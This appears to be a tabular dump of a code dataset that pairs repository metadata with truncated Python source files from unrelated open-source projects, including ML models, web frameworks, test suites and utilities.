from unifier.apps.core.models import Manga, MangaChapter, Platform
from unifier.apps.core.models... | 40.398148 | 98 | 0.616777 |
1dc9ee2ab572d9756b23d42e514c459013aff53d | 6,039 | py | Python | CSP_aacid_macrosV2.py | andreagia/peaks-identification | ddcc3523f9a1154f6c2f69035dde1bfb9eac0f2a | [
"MIT"
] | null | null | null | CSP_aacid_macrosV2.py | andreagia/peaks-identification | ddcc3523f9a1154f6c2f69035dde1bfb9eac0f2a | [
"MIT"
] | null | null | null | CSP_aacid_macrosV2.py | andreagia/peaks-identification | ddcc3523f9a1154f6c2f69035dde1bfb9eac0f2a | [
"MIT"
] | null | null | null |
import sys
import os
import pandas as pd
pd.set_option('display.max_rows', 1000)
import matplotlib.pyplot as plt
def clean_data(csvdata):
for col in csvdata.columns:
print(">>>", col)
before = csvdata[col]
csvdata[col] = csvdata[col].astype(str).replace(['--', "--"], None)
after = ... | 30.969231 | 105 | 0.620136 |
1dc9f66f911cf1c534fa0a5eb02440d86564a8a0 | 7,300 | py | Python | databuddy/response_generators.py | SuryaSankar/databuddy | f65fb3c560bd93e0656003a41c7f65916f24bb8f | [
"MIT"
] | null | null | null | databuddy/response_generators.py | SuryaSankar/databuddy | f65fb3c560bd93e0656003a41c7f65916f24bb8f | [
"MIT"
] | null | null | null | databuddy/response_generators.py | SuryaSankar/databuddy | f65fb3c560bd93e0656003a41c7f65916f24bb8f | [
"MIT"
] | null | null | null | import math
import json
from flask import request, Response
from flask_sqlalchemy_booster.responses import as_json
from io import StringIO
from toolspy import merge, null_safe_type_cast, subdict, write_csv_file
from .utils import (
convert_sqla_collection_items_to_dicts,
get_queried_field_labels, sqla_sor... | 31.73913 | 77 | 0.674521 |
1dca0132efd65dd2564ccb27f2f6944cae33d766 | 3,478 | py | Python | setup.py | alienus/owtf | b6d81fac83c324c2b8c6fe2a974c036881c1fcd0 | [
"BSD-3-Clause"
] | null | null | null | setup.py | alienus/owtf | b6d81fac83c324c2b8c6fe2a974c036881c1fcd0 | [
"BSD-3-Clause"
] | null | null | null | setup.py | alienus/owtf | b6d81fac83c324c2b8c6fe2a974c036881c1fcd0 | [
"BSD-3-Clause"
] | null | null | null | import os
import sys
import re
import ast
from subprocess import call
import io
import pip
try:
from setuptools import setup, find_packages
except ImportError:
from distutils.core import setup, find_packages
from setuptools.command.develop import develop
from setuptools.command.install import install
ROOT_DIR... | 28.983333 | 98 | 0.654974 |
1dca30a322da6c812bcaff26670213d5b4e4c30d | 738 | py | Python | empower/lvapp/summary/__init__.py | imec-idlab/empower-runtime | eda52649f855722fdec1d02e25a28c61a8fbda06 | [
"Apache-2.0"
] | 2 | 2020-02-28T15:54:01.000Z | 2020-11-24T08:45:11.000Z | empower/lvapp/summary/__init__.py | imec-idlab/empower-runtime | eda52649f855722fdec1d02e25a28c61a8fbda06 | [
"Apache-2.0"
] | null | null | null | empower/lvapp/summary/__init__.py | imec-idlab/empower-runtime | eda52649f855722fdec1d02e25a28c61a8fbda06 | [
"Apache-2.0"
] | 1 | 2020-03-02T16:41:20.000Z | 2020-03-02T16:41:20.000Z | #!/usr/bin/env python3
#
# Copyright (c) 2016 Roberto Riggio
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... | 29.52 | 66 | 0.728997 |
1dca546fec7f7d0ce34779e9c0032002930812af | 5,859 | py | Python | tools/origin_trials/generate_token.py | Wzzzx/chromium-crosswalk | 768dde8efa71169f1c1113ca6ef322f1e8c9e7de | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 2 | 2019-01-28T08:09:58.000Z | 2021-11-15T15:32:10.000Z | tools/origin_trials/generate_token.py | Wzzzx/chromium-crosswalk | 768dde8efa71169f1c1113ca6ef322f1e8c9e7de | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | tools/origin_trials/generate_token.py | Wzzzx/chromium-crosswalk | 768dde8efa71169f1c1113ca6ef322f1e8c9e7de | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 6 | 2020-09-23T08:56:12.000Z | 2021-11-18T03:40:49.000Z | #!/usr/bin/env python
# Copyright (c) 2016 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Utility for generating experimental API tokens
usage: generate_token.py [-h] [--key-file KEY_FILE]
[--... | 35.72561 | 80 | 0.650282 |
1dca6dfd8483b4f8b982922f97668dee245ed242 | 20,571 | py | Python | src/model.py | yxt7979/video-bgm-generation | 40ebecc0a75fa03e824c846cbb99cd42a4799fe8 | [
"MIT"
] | null | null | null | src/model.py | yxt7979/video-bgm-generation | 40ebecc0a75fa03e824c846cbb99cd42a4799fe8 | [
"MIT"
] | null | null | null | src/model.py | yxt7979/video-bgm-generation | 40ebecc0a75fa03e824c846cbb99cd42a4799fe8 | [
"MIT"
] | null | null | null | import numpy as np
import torch
import torch.cuda
from torch import nn
from utils import Embeddings, BeatPositionalEncoding
from fast_transformers.builders import TransformerEncoderBuilder
from fast_transformers.masking import TriangularCausalMask
D_MODEL = 512
N_LAYER_ENCODER = 12
N_HEAD = 8
ATTN_DECODER = "causal... | 40.335294 | 116 | 0.553789 |
1dca88f16ab3789522f9ac6dd866dc34ef8be99b | 7,616 | py | Python | tests/model/pydantic/test_types.py | adaamz/datamodel-code-generator | 3b34573f35f8d420e4668a85047c757fd1da7754 | [
"MIT"
] | 891 | 2019-07-23T04:23:32.000Z | 2022-03-31T13:36:33.000Z | tests/model/pydantic/test_types.py | adaamz/datamodel-code-generator | 3b34573f35f8d420e4668a85047c757fd1da7754 | [
"MIT"
] | 663 | 2019-07-23T09:50:26.000Z | 2022-03-29T01:56:55.000Z | tests/model/pydantic/test_types.py | adaamz/datamodel-code-generator | 3b34573f35f8d420e4668a85047c757fd1da7754 | [
"MIT"
] | 108 | 2019-07-23T08:50:37.000Z | 2022-03-09T10:50:22.000Z | import pytest
from datamodel_code_generator.imports import Import
from datamodel_code_generator.model.pydantic.imports import (
IMPORT_CONDECIMAL,
IMPORT_CONFLOAT,
IMPORT_CONINT,
IMPORT_CONSTR,
IMPORT_NEGATIVE_FLOAT,
IMPORT_NEGATIVE_INT,
IMPORT_POSITIVE_FLOAT,
IMPORT_POSITIVE_INT,
)
fro... | 27.103203 | 87 | 0.465205 |
1dca90da9ef7f74f19ad8caf743cb5033a7ac584 | 10,674 | py | Python | Lib/site-packages/wx-3.0-msw/wx/lib/pyshell.py | jickieduan/python27 | c752b552396bbed68d8555080d475718cea2edd0 | [
"bzip2-1.0.6"
] | 1 | 2021-02-13T22:40:50.000Z | 2021-02-13T22:40:50.000Z | Lib/site-packages/wx-3.0-msw/wx/lib/pyshell.py | jickieduan/python27 | c752b552396bbed68d8555080d475718cea2edd0 | [
"bzip2-1.0.6"
] | 1 | 2018-07-28T20:07:04.000Z | 2018-07-30T18:28:34.000Z | Lib/site-packages/wx-3.0-msw/wx/lib/pyshell.py | jickieduan/python27 | c752b552396bbed68d8555080d475718cea2edd0 | [
"bzip2-1.0.6"
] | 2 | 2019-12-02T01:39:10.000Z | 2021-02-13T22:41:00.000Z | #----------------------------------------------------------------------
# Name: wxPython.lib.pyshell
# Purpose: A Python Interactive Interpreter running in a wxStyledTextCtrl
# window.
#
# Author: Robin Dunn
#
# Created: 7-July-2000
# RCS-ID: $Id$
# Copyright: (c) 2000 by Total C... | 30.497143 | 93 | 0.564362 |
1dcac10983c2abf251fed368c938a8d8dc346de8 | 2,517 | py | Python | violas_client/canoser/array_t.py | violas-core/violas-client | e8798f7d081ac218b78b81fd7eb2f8da92631a16 | [
"MIT"
] | null | null | null | violas_client/canoser/array_t.py | violas-core/violas-client | e8798f7d081ac218b78b81fd7eb2f8da92631a16 | [
"MIT"
] | null | null | null | violas_client/canoser/array_t.py | violas-core/violas-client | e8798f7d081ac218b78b81fd7eb2f8da92631a16 | [
"MIT"
] | 1 | 2022-01-05T06:49:42.000Z | 2022-01-05T06:49:42.000Z | from violas_client.canoser.base import Base
from violas_client.canoser.int_type import Uint32, Uint8
import struct
class ArrayT(Base):
def __init__(self, atype, fixed_len=None, encode_len=True):
self.atype = atype
if fixed_len is not None and fixed_len <= 0:
raise TypeError(... | 36.478261 | 95 | 0.591577 |
1dcac67e7806eecc2d95e4e5619b4d5daee1e11f | 2,028 | py | Python | joj/horse/utils/exception_handlers.py | joint-online-judge/horse | ec08ecd0528f6a4fad3fa5f5932aef1495721437 | [
"MIT"
] | 6 | 2020-12-28T07:05:52.000Z | 2022-01-16T04:44:02.000Z | joj/horse/utils/exception_handlers.py | joint-online-judge/horse | ec08ecd0528f6a4fad3fa5f5932aef1495721437 | [
"MIT"
] | 56 | 2021-02-02T02:21:52.000Z | 2022-03-13T02:39:05.000Z | joj/horse/utils/exception_handlers.py | joint-online-judge/horse | ec08ecd0528f6a4fad3fa5f5932aef1495721437 | [
"MIT"
] | 3 | 2021-01-28T17:52:58.000Z | 2021-12-17T17:42:42.000Z | import sqlalchemy.exc
from fastapi import FastAPI, Request, status
from fastapi.encoders import jsonable_encoder
from fastapi_jwt_auth.exceptions import AuthJWTException
from loguru import logger
from starlette.responses import JSONResponse
from joj.horse.schemas.base import StandardErrorResponse
from joj.horse.utils.... | 35.578947 | 87 | 0.778107 |
1dcad18ce5c5589d5fd1895ee0d6f8cf9d3491f0 | 41,179 | py | Python | src/python/dxpy/bindings/dxfile.py | xquek/dx-toolkit | 9410871a54ba827d821d20dbd1c16294ff95230e | [
"Apache-2.0"
] | null | null | null | src/python/dxpy/bindings/dxfile.py | xquek/dx-toolkit | 9410871a54ba827d821d20dbd1c16294ff95230e | [
"Apache-2.0"
] | null | null | null | src/python/dxpy/bindings/dxfile.py | xquek/dx-toolkit | 9410871a54ba827d821d20dbd1c16294ff95230e | [
"Apache-2.0"
] | null | null | null | # Copyright (C) 2013-2016 DNAnexus, Inc.
#
# This file is part of dx-toolkit (DNAnexus platform client libraries).
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy
# of the License at
#
# http://www.a... | 42.672539 | 157 | 0.621336 |
1dcae86b17e339e8c241d7fe31c3f23144474801 | 390 | py | Python | kafka/__init__.py | miranetworks/kafka-python | 8f1384bd2343bcafd5c5582dc6061bcc45ed3635 | [
"Apache-2.0"
] | null | null | null | kafka/__init__.py | miranetworks/kafka-python | 8f1384bd2343bcafd5c5582dc6061bcc45ed3635 | [
"Apache-2.0"
] | null | null | null | kafka/__init__.py | miranetworks/kafka-python | 8f1384bd2343bcafd5c5582dc6061bcc45ed3635 | [
"Apache-2.0"
] | null | null | null | __title__ = 'kafka'
__version__ = '0.1-alpha'
__author__ = 'David Arthur'
__license__ = 'Apache License 2.0'
__copyright__ = 'Copyright 2012, David Arthur under Apache License, v2.0'
from .client import (
KafkaClient, KafkaException,
Message, ProduceRequest, FetchRequest, OffsetRequest
)
from .codec import gzi... | 30 | 73 | 0.774359 |
1dcb5438f160fb07e1a715943d14fec0a1da80c3 | 683 | py | Python | modules/helpers/health.py | sadmicrowave/despoina | a9791feaa0c035fb4134282b750a11be57132e07 | [
"MIT"
] | 1 | 2017-11-17T15:42:35.000Z | 2017-11-17T15:42:35.000Z | modules/helpers/health.py | sadmicrowave/despoina | a9791feaa0c035fb4134282b750a11be57132e07 | [
"MIT"
] | 7 | 2018-09-25T21:27:57.000Z | 2018-09-25T21:40:50.000Z | modules/helpers/health.py | sadmicrowave/despoina | a9791feaa0c035fb4134282b750a11be57132e07 | [
"MIT"
] | 1 | 2019-10-13T23:23:16.000Z | 2019-10-13T23:23:16.000Z | #!/usr/local/bin/python3
from modules.bgcolors import BgColors
class Health(object):
@classmethod
def set_max_health (cls) :
return 75
@classmethod
def is_alive(cls, entity) :
return entity.hp > 0
@classmethod
def increase_health(cls, entity, amt):
# increase the player health by the additional hp a... | 24.392857 | 105 | 0.710102 |
1dcb5a7fcd755ef6331a7d4b06185f1681d12482 | 32,066 | py | Python | drf_spectacular/plumbing.py | juleswh/drf-spectacular | 7eefb2ae8043ef63ba76ab8dbdec5be21fe09cdf | [
"BSD-3-Clause"
] | null | null | null | drf_spectacular/plumbing.py | juleswh/drf-spectacular | 7eefb2ae8043ef63ba76ab8dbdec5be21fe09cdf | [
"BSD-3-Clause"
] | null | null | null | drf_spectacular/plumbing.py | juleswh/drf-spectacular | 7eefb2ae8043ef63ba76ab8dbdec5be21fe09cdf | [
"BSD-3-Clause"
] | null | null | null | import hashlib
import inspect
import json
import re
import sys
import typing
import urllib.parse
from abc import ABCMeta
from collections import OrderedDict, defaultdict
from collections.abc import Hashable, Iterable
from decimal import Decimal
from enum import Enum
from typing import DefaultDict, Generic, List, Option... | 36.563284 | 109 | 0.656646 |
1dcb7ab5ea5943237bd70cc20ecd8d915fa3f232 | 630 | py | Python | lemur/migrations/versions/449c3d5c7299_.py | x-lhan/lemur | 1d8aaa4a242af610363e961167bc31691b358773 | [
"Apache-2.0"
] | null | null | null | lemur/migrations/versions/449c3d5c7299_.py | x-lhan/lemur | 1d8aaa4a242af610363e961167bc31691b358773 | [
"Apache-2.0"
] | null | null | null | lemur/migrations/versions/449c3d5c7299_.py | x-lhan/lemur | 1d8aaa4a242af610363e961167bc31691b358773 | [
"Apache-2.0"
] | null | null | null | """Add unique constraint to certificate_notification_associations table.
Revision ID: 449c3d5c7299
Revises: 5770674184de
Create Date: 2018-02-24 22:51:35.369229
"""
# revision identifiers, used by Alembic.
revision = '449c3d5c7299'
down_revision = '5770674184de'
from alembic import op
from flask_sqlalchemy import S... | 21.724138 | 72 | 0.790476 |
1dcba4abf064941643db152735ed5aab7be39dca | 197 | py | Python | project/test_data/users.py | albalabkin/PyCats | b3fa09e116f38cebbb66faef16785e2795d80aa9 | [
"Apache-2.0"
] | 7 | 2020-06-12T15:16:10.000Z | 2020-06-20T18:42:07.000Z | project/test_data/users.py | albalabkin/PyCats | b3fa09e116f38cebbb66faef16785e2795d80aa9 | [
"Apache-2.0"
] | 4 | 2020-06-15T20:08:32.000Z | 2020-06-29T16:51:57.000Z | sample/test_data/users.py | Softeq/SCAF | c71d54ca7fa958c22ca8c78ba9889c6a32b827be | [
"Apache-2.0"
] | 3 | 2020-07-27T10:45:36.000Z | 2021-01-13T12:10:46.000Z | from dataclasses import dataclass
@dataclass
class User:
username: str
password: str
email: str
valid_user = User("cyrus8@ddividegs.com", "KturbqGfhjkm300", "cyrus8@ddividegs.com")
| 16.416667 | 84 | 0.725888 |
1dcbb99a8b66900f792e3a0fa1021c75cf39d469 | 4,120 | py | Python | unagi/utils.py | Christopher-Bradshaw/unagi | 29bb2df0c8674438f24c3932e0b1b65a83dec4ae | [
"MIT"
] | 20 | 2019-06-04T02:21:17.000Z | 2021-08-17T01:59:18.000Z | unagi/utils.py | minaskar/unagi | 821858aa3912bd5bc7bc347a54e3b70afceeb101 | [
"MIT"
] | 19 | 2018-08-19T07:09:54.000Z | 2021-10-08T08:45:28.000Z | unagi/utils.py | minaskar/unagi | 821858aa3912bd5bc7bc347a54e3b70afceeb101 | [
"MIT"
] | 9 | 2019-08-04T22:30:39.000Z | 2021-10-08T09:10:10.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Some useful functions."""
import string
import random
import warnings
import numpy as np
import astropy.units as u
from scipy.stats import sigmaclip
from scipy.stats import gaussian_kde
__all__ = ['same_string', 'random_string', 'r_phy_to_ang',
'save_to_d... | 26.753247 | 116 | 0.617718 |
1dcbe4a7af4780055925422f4f4ca30de4b36f31 | 10,410 | py | Python | lib/python2.7/matplotlib/tri/tricontour.py | ashley8jain/IITD-complaint-system-web | 21a94601cba710f558d1689b87cfc391a1541c9f | [
"BSD-3-Clause"
] | 1 | 2017-01-25T00:38:48.000Z | 2017-01-25T00:38:48.000Z | lib/python2.7/matplotlib/tri/tricontour.py | ashley8jain/IITD-complaint-system-web | 21a94601cba710f558d1689b87cfc391a1541c9f | [
"BSD-3-Clause"
] | null | null | null | lib/python2.7/matplotlib/tri/tricontour.py | ashley8jain/IITD-complaint-system-web | 21a94601cba710f558d1689b87cfc391a1541c9f | [
"BSD-3-Clause"
] | null | null | null | from matplotlib.contour import ContourSet
from matplotlib.tri.triangulation import Triangulation
import matplotlib._tri as _tri
import numpy as np
class TriContourSet(ContourSet):
"""
Create and store a set of contour lines or filled regions for
a triangular grid.
User-callable method: clabel
Us... | 36.145833 | 79 | 0.588569 |
1dcc15a6a496c11900d8a046793a454af8e1659d | 12,971 | py | Python | perceptron/zoo/retinanet_resnet_50/utils/anchors.py | jiayunhan/perceptron-benchmark | 39958a15e9f8bfa82938a3f81d4f216457744b22 | [
"Apache-2.0"
] | 38 | 2019-06-10T04:19:42.000Z | 2022-02-15T05:21:23.000Z | perceptron/zoo/retinanet_resnet_50/utils/anchors.py | jiayunhan/perceptron-benchmark | 39958a15e9f8bfa82938a3f81d4f216457744b22 | [
"Apache-2.0"
] | 4 | 2019-07-30T19:00:23.000Z | 2019-09-26T01:35:05.000Z | perceptron/zoo/retinanet_resnet_50/utils/anchors.py | jiayunhan/perceptron-benchmark | 39958a15e9f8bfa82938a3f81d4f216457744b22 | [
"Apache-2.0"
] | 10 | 2019-06-10T05:45:33.000Z | 2021-04-22T08:33:28.000Z | """anchors"""
import numpy as np
import keras
from perceptron.zoo.retinanet_resnet_50.utils.compute_overlap import compute_overlap
class AnchorParameters:
""" The parameteres that define how anchors are generated.
Parameters
----------
sizes : list
List of sizes to use. Each size corresponds... | 32.266169 | 84 | 0.616298 |
1dcc3ab170da6ec7e289fa297103c66c72cc7f00 | 12,220 | py | Python | autotimer/src/AutoTimerOverview.py | pololoko111/enigma2-plugins | 79b4e5e15663bcda7d1b679769e10942915f5bf5 | [
"OLDAP-2.3"
] | null | null | null | autotimer/src/AutoTimerOverview.py | pololoko111/enigma2-plugins | 79b4e5e15663bcda7d1b679769e10942915f5bf5 | [
"OLDAP-2.3"
] | null | null | null | autotimer/src/AutoTimerOverview.py | pololoko111/enigma2-plugins | 79b4e5e15663bcda7d1b679769e10942915f5bf5 | [
"OLDAP-2.3"
] | null | null | null | # for localized messages
from . import _, config
# GUI (Screens)
from Screens.Screen import Screen
from Screens.HelpMenu import HelpableScreen
from Screens.MessageBox import MessageBox
from Screens.ChoiceBox import ChoiceBox
from AutoTimerEditor import AutoTimerEditor, AutoTimerChannelSelection
from AutoTimerImporter ... | 33.663912 | 225 | 0.697791 |
1dcc58b2920435901481b46989e8a08599399932 | 5,545 | py | Python | ArchiverAccess/logging_period_providers.py | GustavLero/EPICS-inst_servers | 4bcdd6a80f1d9e074de3f0f7c66968d506981988 | [
"BSD-3-Clause"
] | null | null | null | ArchiverAccess/logging_period_providers.py | GustavLero/EPICS-inst_servers | 4bcdd6a80f1d9e074de3f0f7c66968d506981988 | [
"BSD-3-Clause"
] | null | null | null | ArchiverAccess/logging_period_providers.py | GustavLero/EPICS-inst_servers | 4bcdd6a80f1d9e074de3f0f7c66968d506981988 | [
"BSD-3-Clause"
] | null | null | null | # This file is part of the ISIS IBEX application.
# Copyright (C) 2012-2016 Science & Technology Facilities Council.
# All rights reserved.
#
# This program is distributed in the hope that it will be useful.
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License... | 33.810976 | 107 | 0.680974 |
1dcc79d461762ea63e3435eb7892ac5f98d5cc98 | 1,595 | py | Python | tests/integration/test_minimal.py | grktsh/openapi-core | d4ada7bcbb9b13f5c5dd090988c35be7a0d141b7 | [
"BSD-3-Clause"
] | null | null | null | tests/integration/test_minimal.py | grktsh/openapi-core | d4ada7bcbb9b13f5c5dd090988c35be7a0d141b7 | [
"BSD-3-Clause"
] | null | null | null | tests/integration/test_minimal.py | grktsh/openapi-core | d4ada7bcbb9b13f5c5dd090988c35be7a0d141b7 | [
"BSD-3-Clause"
] | null | null | null | import pytest
from openapi_core.schema.operations.exceptions import InvalidOperation
from openapi_core.shortcuts import create_spec
from openapi_core.validation.request.validators import RequestValidator
from openapi_core.wrappers.mock import MockRequest
class TestMinimal(object):
servers = [
"http://mi... | 31.9 | 71 | 0.67837 |
1dcc8900f0636bfe7a53b390e42948e7171d8b38 | 14,772 | py | Python | yt_dlp/postprocessor/_attachments.py | Dluke77lnx/ytdl-patched | f8915da042a75596fb072e6656f5204f5eabea35 | [
"Unlicense"
] | 2 | 2021-12-22T18:51:50.000Z | 2021-12-22T18:53:22.000Z | yt_dlp/postprocessor/_attachments.py | Dluke77lnx/ytdl-patched | f8915da042a75596fb072e6656f5204f5eabea35 | [
"Unlicense"
] | null | null | null | yt_dlp/postprocessor/_attachments.py | Dluke77lnx/ytdl-patched | f8915da042a75596fb072e6656f5204f5eabea35 | [
"Unlicense"
] | null | null | null | import re
import time
import os
from typing import TYPE_CHECKING
if TYPE_CHECKING:
from ..YoutubeDL import YoutubeDL
from ..utils import (
int_or_none,
timetuple_from_msec,
format_bytes,
to_str,
)
from ..minicurses import (
MultilinePrinterBase,
MultilineLogger,
MultilinePrinter,
... | 38.170543 | 115 | 0.565191 |
1dccc8f2028cf3b748c824f80fb0cc9e00ac7891 | 8,527 | py | Python | NBA Project/venv/Lib/site-packages/plotly/graph_objs/choropleth/colorbar/title/__init__.py | EnriqueGambra/Most-Efficient-NBA-Players | ea67c28b5294dbc9713200a937deb9f4211ba754 | [
"MIT"
] | 1 | 2020-08-08T21:56:11.000Z | 2020-08-08T21:56:11.000Z | NBA Project/venv/Lib/site-packages/plotly/graph_objs/choropleth/colorbar/title/__init__.py | EnriqueGambra/Most-Efficient-NBA-Players | ea67c28b5294dbc9713200a937deb9f4211ba754 | [
"MIT"
] | 2 | 2021-03-31T19:54:17.000Z | 2021-06-02T02:33:56.000Z | NBA Project/venv/Lib/site-packages/plotly/graph_objs/choropleth/colorbar/title/__init__.py | EnriqueGambra/Most-Efficient-NBA-Players | ea67c28b5294dbc9713200a937deb9f4211ba754 | [
"MIT"
] | null | null | null | from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType
import copy as _copy
class Font(_BaseTraceHierarchyType):
# color
# -----
@property
def color(self):
"""
The 'color' property is a color and may be specified as:
- A hex string (e.g. '#ff0000'... | 37.399123 | 82 | 0.568664 |
1dccf16f80ec1d41e59568e5a67c3f1cdbba82f1 | 5,785 | py | Python | applications/messenger/backends/__init__.py | dev-easyshares/mighty | a6cf473fb8cfbf5b92db68c7b068fc8ae2911b8b | [
"MIT"
] | null | null | null | applications/messenger/backends/__init__.py | dev-easyshares/mighty | a6cf473fb8cfbf5b92db68c7b068fc8ae2911b8b | [
"MIT"
] | 1 | 2022-03-12T00:57:37.000Z | 2022-03-12T00:57:37.000Z | applications/messenger/backends/__init__.py | dev-easyshares/mighty | a6cf473fb8cfbf5b92db68c7b068fc8ae2911b8b | [
"MIT"
] | null | null | null | from django.conf import settings
from django.contrib.auth.backends import ModelBackend
from django.utils.text import get_valid_filename
from django.contrib.auth import get_user_model
from django.core.mail import send_mail, EmailMessage, EmailMultiAlternatives
from django.core.mail.message import make_msgid
from django.... | 35.709877 | 106 | 0.634226 |
1dcd60c2a7a969db6f7db311020ddc885dc3ab9d | 900 | py | Python | src/12/simple_parallel_programming/findrobots.py | tuanavu/python-gitbook | 948a05e065b0f40afbfd22f697dff16238163cde | [
"MIT"
] | 14 | 2017-05-20T04:06:46.000Z | 2022-01-23T06:48:45.000Z | src/12/simple_parallel_programming/findrobots.py | tuanavu/python-gitbook | 948a05e065b0f40afbfd22f697dff16238163cde | [
"MIT"
] | 1 | 2021-06-10T20:17:55.000Z | 2021-06-10T20:17:55.000Z | src/12/simple_parallel_programming/findrobots.py | tuanavu/python-gitbook | 948a05e065b0f40afbfd22f697dff16238163cde | [
"MIT"
] | 15 | 2017-03-29T17:57:33.000Z | 2021-08-24T02:20:08.000Z | # findrobots.py
import gzip
import io
import glob
def find_robots(filename):
'''
Find all of the hosts that access robots.txt in a single log file
'''
robots = set()
with gzip.open(filename) as f:
for line in io.TextIOWrapper(f,encoding='ascii'):
fields = line.split()
... | 23.684211 | 69 | 0.613333 |
1dcd629feecc99807966fb3e9ad489c4ae14c314 | 8,515 | py | Python | fusilib/misc.py | anwarnunez/fusi | c15ea2567e9fca92b1a6a1130eb396825d0f76cf | [
"BSD-3-Clause"
] | null | null | null | fusilib/misc.py | anwarnunez/fusi | c15ea2567e9fca92b1a6a1130eb396825d0f76cf | [
"BSD-3-Clause"
] | null | null | null | fusilib/misc.py | anwarnunez/fusi | c15ea2567e9fca92b1a6a1130eb396825d0f76cf | [
"BSD-3-Clause"
] | 3 | 2022-02-14T02:50:45.000Z | 2022-03-07T08:23:48.000Z | '''
Random stuff.
Critically, these functions are not for data analysis.
Those should be in `fusi.utils`
Functions should be as self-contained as possible.
Such that they can be moved easily into other modules.
Anwar O. Nunez-Elizalde (Jan, 2020)
'''
import os
import pathlib
import urllib
from datetime import dateti... | 25.881459 | 89 | 0.550793 |
1dcd9b7b4fa98718914cddaa9cf1832962e29696 | 7,265 | py | Python | tests/tests.py | ipashchenko/ve | b866b6d9465310d4cd5bb4d2e92595d918b681d0 | [
"MIT"
] | null | null | null | tests/tests.py | ipashchenko/ve | b866b6d9465310d4cd5bb4d2e92595d918b681d0 | [
"MIT"
] | 1 | 2019-10-16T20:36:19.000Z | 2020-03-24T19:28:01.000Z | tests/tests.py | ipashchenko/ve | b866b6d9465310d4cd5bb4d2e92595d918b681d0 | [
"MIT"
] | null | null | null | #!/usr/bin python
# -*- coding: utf-8 -*-
import numpy as np
import glob
import astropy.io.fits as pf
from unittest import TestCase, skip
from vlbi_errors.utils import (aips_bintable_fortran_fields_to_dtype_conversion,
index_of)
from vlbi_errors.data_io import IO, PyFitsIO, Groups
from v... | 41.99422 | 92 | 0.584446 |
1dcde1b236a6e24b66f6be89ac0a0303a4fdb170 | 262 | py | Python | leetcode_python/tests/test_unique_paths.py | attilagyoriid/leetcode_python | 457b1271cf58df8726d3ec35b4ac6d78a33c49a9 | [
"MIT"
] | null | null | null | leetcode_python/tests/test_unique_paths.py | attilagyoriid/leetcode_python | 457b1271cf58df8726d3ec35b4ac6d78a33c49a9 | [
"MIT"
] | null | null | null | leetcode_python/tests/test_unique_paths.py | attilagyoriid/leetcode_python | 457b1271cf58df8726d3ec35b4ac6d78a33c49a9 | [
"MIT"
] | null | null | null | import unittest
from leetcode_python.src.algorithms.arrays.unique_paths import UniquePaths
class TestUniquePaths(unittest.TestCase):
def test_get_number_of_unique_paths(self):
self.assertEqual(UniquePaths().get_number_of_unique_paths(7, 3), 28)
| 23.818182 | 76 | 0.805344 |
1dce0b15e50342035e33edb57c1498a9b0714b83 | 48 | py | Python | src/models/__init__.py | aleksandrgordienko/melissa-quiz | 49b165acc9aae0ad84cf751cbeb4f6a27dd5ab0f | [
"MIT"
] | null | null | null | src/models/__init__.py | aleksandrgordienko/melissa-quiz | 49b165acc9aae0ad84cf751cbeb4f6a27dd5ab0f | [
"MIT"
] | null | null | null | src/models/__init__.py | aleksandrgordienko/melissa-quiz | 49b165acc9aae0ad84cf751cbeb4f6a27dd5ab0f | [
"MIT"
] | null | null | null | from models.models import Parameter, User, Chat
| 24 | 47 | 0.8125 |
1dce1693d8501810507139366dec6cc711932e5a | 1,054 | py | Python | setup.py | khwilson/bike-scraper | a5d88715b19520b36ebcee680c5a48700db7fa5a | [
"MIT"
] | 1 | 2022-01-03T22:52:54.000Z | 2022-01-03T22:52:54.000Z | setup.py | khwilson/bike-scraper | a5d88715b19520b36ebcee680c5a48700db7fa5a | [
"MIT"
] | null | null | null | setup.py | khwilson/bike-scraper | a5d88715b19520b36ebcee680c5a48700db7fa5a | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import os
from setuptools import find_packages, setup
import warnings
def parse_requirements(filename):
""" Parse a requirements file ignoring comments and -r inclusions of other files """
reqs = []
with open(filename, 'r') as f:
for line in f:
hash_idx = line.find('#')
if ... | 25.095238 | 86 | 0.681214 |
1dce285e993743e18425364a28444cf3e202ba73 | 1,528 | py | Python | scripts/ensemble_load_data.py | FragLegs/mrnet | a05eb8902463cbcf88126c616911bd9f69d019df | [
"MIT"
] | 1 | 2021-06-18T08:16:01.000Z | 2021-06-18T08:16:01.000Z | scripts/ensemble_load_data.py | FragLegs/mrnet | a05eb8902463cbcf88126c616911bd9f69d019df | [
"MIT"
] | null | null | null | scripts/ensemble_load_data.py | FragLegs/mrnet | a05eb8902463cbcf88126c616911bd9f69d019df | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import logging
import os
import numpy as np
import pandas as pd
log = logging.getLogger(__name__)
def load_data(eval_path, model_name, split='val'):
Xs, ys = [], []
for m_name in model_name.split('_'):
X, y = _load_data(eval_path, m_name, split)
Xs.append(X)
... | 23.151515 | 74 | 0.543194 |
1dce3ea269f7e4e8bb6f44bf38eb762fa7df3ec5 | 3,269 | py | Python | api_creation/get_data.py | 56kyle/bloons_auto | 419d55b51d1cddc49099593970adf1c67985b389 | [
"MIT"
] | null | null | null | api_creation/get_data.py | 56kyle/bloons_auto | 419d55b51d1cddc49099593970adf1c67985b389 | [
"MIT"
] | null | null | null | api_creation/get_data.py | 56kyle/bloons_auto | 419d55b51d1cddc49099593970adf1c67985b389 | [
"MIT"
] | null | null | null | import os
import re
from get_structure import get_ranges_as_dict
# Returns offset from class base address, name, type
static_field_re = re.compile(r"\t*([\w{}_<>-]+) : ([^\s]+) \(type: ([\w.,<>\[\]{}_-]+)\)\n?")
def get_static_fields(lines):
static_fields = {}
for line in lines:
try:
st... | 28.675439 | 118 | 0.561028 |
